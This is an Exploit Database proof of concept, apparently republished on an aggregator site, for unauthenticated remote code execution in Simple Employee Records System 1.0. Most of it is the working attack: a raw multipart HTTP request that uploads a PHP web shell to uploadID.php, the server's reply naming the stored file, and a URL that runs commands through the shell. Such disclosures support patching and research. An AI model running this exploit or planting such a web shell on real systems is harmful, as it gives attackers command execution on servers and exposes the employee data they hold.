Simple Employee Records System 1.0 – File Upload RCE (Unauthenticated)

• Exploit Database
• 16 阅读

• 作者： sml
  日期： 2021-02-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49596/

• # Exploit Title: Simple Employee Records System 1.0 - File Upload RCE (Unauthenticated)
  # Date: 2021-02-25
  # Exploit Author: sml@lacashita.com
  # Vendor Homepage: https://www.sourcecodester.com/php/11393/employee-records-system.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employee_records_system.zip
  # Version: v1.0
  # Tested on: Ubuntu 20.04.2
  
  uploadID.php can be used to upload .php files to 
  '/uploads/employees_ids/' without authentication.
  
  POC
  ---
  
  1) Make the following Request changing the "Host:" to your Victim IP.
  
  POST /dashboard/uploadID.php HTTP/1.1
  Host: 192.168.1.117
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 
  Firefox/78.0
  Accept: application/json, text/javascript, */*; q=0.01
  Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Content-Type: multipart/form-data; 
  boundary=---------------------------5825462663702204104870787337
  Content-Length: 267
  DNT: 1
  Connection: close
  
  -----------------------------5825462663702204104870787337
  Content-Disposition: form-data; name="employee_ID"; filename="cmd2.php"
  Content-Type: image/png
  <?php
  $cmd=$_GET['cmd'];
  system($cmd);
  ?>
  -----------------------------5825462663702204104870787337--
  
  
  2) You will get the response with the name of the uploaded file 
  (upload_filename).
  
  HTTP/1.1 200 OK
  Server: nginx/1.18.0 (Ubuntu)
  Date: Thu, 25 Feb 2021 19:17:55 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: close
  Content-Length: 77
  {"upload_filename":"Ag1rzKFWTlnCZhL_cmd2.php","selected_filename":"cmd2.php"}
  
  3) Your file will be located in: 
  http://VICTIM_IP/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php
  
  4) In this example, to run commands:
  http://192.168.1.117/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php?cmd=whoami